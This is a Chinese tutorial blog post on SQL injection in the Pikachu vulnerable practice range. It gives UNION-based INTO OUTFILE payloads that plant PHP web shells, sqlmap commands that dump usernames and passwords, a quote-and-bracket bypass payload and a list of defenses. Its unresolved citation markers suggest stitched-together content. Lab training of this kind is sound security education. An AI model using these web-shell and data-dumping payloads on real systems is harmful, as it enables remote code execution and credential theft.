Pikachu-Sql-Inject - 通过sql进行远程服务器控制(试验)

secure_file_priv是MySQL中的系统变量,用于限制文件的读取和写入。

查看命令:

show variables like "secure%" 
//或者
select @@secure_file_priv;

1.secure_file_priv = NULL ,限制文件的读取和写入。

2.secure_file_priv = 文件路径 ,限制文件的读取和写入只能在设定的文件夹中。

3.secure_file_priv= "", 对文件和读取和写入没有任何限制。

into outfile ,将select 的结果写入到指定的文件中;

vince' union select " <?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#
vince' union select " <?php system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"#

//构造sql
vince' union select " <?php system($_GET['cmd'])?>",2 into outfile "/var/lib/mysql-files/2.php"#

执行sql语句

### Pikachu靶场 SQL注入漏洞学习资料与解决方案 SQL注入是一种常见的Web安全漏洞,攻击者可以通过在输入字段中插入恶意的SQL代码来执行未经授权的数据库操作。Pikachu靶场为学习SQL注入提供了良好的实验环境,帮助安全研究人员和开发人员深入理解SQL注入的原理、利用方式及防御措施。 #### 实验环境与工具准备 在进行Pikachu靶场中的SQL注入漏洞实验之前,确保已经准备好以下内容: - **Pikachu靶场**:可以通过GitHub下载并部署Pikachu漏洞练习平台,确保Web服务器(如Apache/Nginx)和数据库(如MySQL)正常运行。 - **浏览器**:推荐使用Chrome或Firefox进行测试。 - **工具**:sqlmap是检测和利用SQL注入漏洞的强大工具,建议安装并熟悉其基本命令[^1]。 #### 数字型注入(POST)漏洞分析 在Pikachu靶场中,数字型注入(POST)漏洞通常出现在需要用户提交数字型数据的表单中。攻击者可以通过构造特定的POST请求,将恶意SQL代码注入到后端数据库中。这类漏洞的检测和利用通常需要使用sqlmap工具,并通过指定参数进行测试。 例如,在以下URL中,`name`参数可能存在数字型注入漏洞: ```bash sqlmap -u "http://ip/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=查询" -D "pikachu" -T "member" -C "pw,username" --dump --level=3 --risk=3 ``` 此命令将尝试检测并利用该漏洞,从`pikachu`数据库的`member`表中提取`pw`和`username`字段的值[^2]。 #### XX型注入(括号+单引号闭合型注入) XX型注入是一种较为复杂的SQL注入类型,攻击者需要同时闭合单引号和括号。这种类型的注入要求攻击者构造特定的Payload,确保SQL语句的语法正确,从而绕过应用程序的输入过滤机制。例如,在Pikachu靶场中,攻击者可能需要构造类似`') OR '1'='1`的Payload来测试漏洞是否存在。 靶场中的此类漏洞训练旨在强调复杂闭合场景下的注入利用与防御策略,帮助开发者理解如何正确处理用户输入,避免SQL注入风险[^4]。 #### 获取用户名和密码的示例 在某些SQL注入场景中,攻击者的目标是获取数据库中的敏感信息,如用户名和密码。使用sqlmap可以自动化这一过程。例如,以下命令可以用于从Pikachu靶场中提取`users`表中的`username`和`password`字段: ```bash sqlmap -u "http://192.168.188.183/pikachu/vul/sqli/sqli_blind_b.php?name=lucy&submit=查询" --cookie="PHPSESSID=bdv4iol6gtj7mv1fp4lppnqtg0" -D "pikachu" -T "users" -C "username,password" --dump ``` 该命令通过指定Cookie来维持会话,并从`pikachu`数据库的`users`表中提取用户名和密码信息[^5]。 #### 防御措施 为了有效防御SQL注入攻击,开发人员应采取以下措施: 1. **使用参数化查询(Prepared Statements)**:避免直接拼接SQL语句,而是使用参数化查询来确保用户输入不会被解释为SQL代码。 2. **输入验证**:对所有用户输入进行严格的验证,拒绝包含特殊字符的输入,或对特殊字符进行转义。 3. **最小权限原则**:为数据库用户分配最小的必要权限,避免使用具有高权限的数据库账户。 4. **错误信息处理**:避免向用户返回详细的数据库错误信息,防止攻击者利用这些信息进行进一步攻击。 5. **使用ORM框架**:如SQLAlchemy(Python)、Hibernate(Java)等,这些框架通常内置了防止SQL注入的功能。 #### 通关教程与建议 在Pikachu靶场中,SQL注入漏洞的通关教程通常包括以下步骤: 1. **识别注入点**:通过观察输入表单和URL参数,判断是否存在SQL注入漏洞。 2. **测试漏洞**:使用sqlmap等工具测试注入点,确认是否存在可利用的漏洞。 3. **提取数据库信息**:通过sqlmap提取数据库名称、表名、字段名等信息。 4. **获取敏感数据**:从数据库中提取用户名、密码等敏感信息。 5. **修复漏洞**:根据实验结果,学习如何修复SQL注入漏洞,并在实际开发中应用这些防御措施[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值